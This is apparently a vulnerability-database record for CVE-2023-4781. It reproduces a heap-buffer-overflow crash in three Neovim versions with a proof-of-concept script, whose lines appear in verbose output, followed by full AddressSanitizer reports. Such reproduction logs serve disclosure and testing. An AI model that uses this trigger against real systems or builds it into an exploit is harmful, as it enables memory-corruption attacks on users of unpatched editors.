{"uuid": "50133ff3-cc1e-4850-a3f1-177f1c7fef74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4781", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/ff0d69960a7adbd04b06efa14b114bdf", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4781)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18417==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000003145 at pc 0x0000004e0015 bp 0x7ffcdfa58970 sp 0x7ffcdfa58138\nWRITE of size 55 at 0x603000003145 thread T0\n    #0 0x4e0014 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014)\n    #1 0x73d502 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3936:11\n    #2 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #6 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #7 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #8 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #9 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #11 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #12 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #13 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #14 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #15 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x603000003145 is located 0 bytes to the right of 21-byte region [0x603000003130,0x603000003145)\nallocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x740268 in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3168:18\n    #4 0x73d4ed in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3931:21\n    #5 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #18 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff85d0: fa fa 00 00 00 03 fa fa 00 00 02 fa fa fa fd fd\n  0x0c067fff85e0: fd fa fa fa fd fd fd fd fa fa 00 00 00 05 fa fa\n  0x0c067fff85f0: fd fd fd fa fa fa 00 00 01 fa fa fa fd fd fd fd\n  0x0c067fff8600: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff8610: fd fd fa fa fd fd fd fa fa fa 00 00 00 06 fa fa\n=>0x0c067fff8620: fd fd fd fd fa fa 00 00[05]fa fa fa fa fa fa fa\n  0x0c067fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18417==ABORTING\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18766==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000094a5 at pc 0x0000004d5ff5 bp 0x7ffdaf34a270 sp 0x7ffdaf349a38\nWRITE of size 55 at 0x6030000094a5 thread T0\n    #0 0x4d5ff4 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4)\n    #1 0x8cb937 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4090:11\n    #2 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #3 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #4 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #5 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #6 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #7 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #8 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #9 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #10 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #11 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #12 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #13 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x6030000094a5 is located 0 bytes to the right of 21-byte region [0x603000009490,0x6030000094a5)\nallocated by thread T0 here:\n    #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n    #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x8d32cd in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n    #4 0x8cb8d4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n    #5 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n    #6 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #7 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #8 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #9 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #10 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #11 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #12 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #13 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #14 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #15 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #16 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff9240: 00 05 fa fa fd fd fd fa fa fa 00 00 00 00 fa fa\n  0x0c067fff9250: 00 00 01 fa fa fa fd fd fd fd fa fa 00 00 00 00\n  0x0c067fff9260: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n  0x0c067fff9270: fd fa fa fa fd fd fd fd fa fa fd fd fd fa fa fa\n  0x0c067fff9280: fd fd fd fd fa fa 00 00 00 06 fa fa fd fd fd fd\n=>0x0c067fff9290: fa fa 00 00[05]fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff92e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18766==ABORTING\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18811==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000004b55 at pc 0x0000004c6e05 bp 0x7ffe680acfb0 sp 0x7ffe680ac778\nWRITE of size 55 at 0x603000004b55 thread T0\n    #0 0x4c6e04 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04)\n    #1 0x7b9342 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3804:11\n    #2 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #5 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #6 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #7 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #11 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #12 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #13 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x603000004b55 is located 0 bytes to the right of 21-byte region [0x603000004b40,0x603000004b55)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n    #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n    #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n    #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #16 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04) in __asan_memmove\nShadow bytes around the buggy address:\n  0x0c067fff8910: 00 fa fa fa 00 00 00 05 fa fa fd fd fd fa fa fa\n  0x0c067fff8920: 00 00 00 fa fa fa 00 00 01 fa fa fa fd fd fd fd\n  0x0c067fff8930: fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa fd fd\n  0x0c067fff8940: fd fa fa fa fd fd fd fa fa fa fd fd fd fd fa fa\n  0x0c067fff8950: fd fd fd fa fa fa fd fd fd fd fa fa 00 00 00 06\n=>0x0c067fff8960: fa fa fd fd fd fd fa fa 00 00[05]fa fa fa fa fa\n  0x0c067fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff8990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff89a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c067fff89b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==18811==ABORTING", "creation_timestamp": "2026-09-06T12:24:29.116381Z"}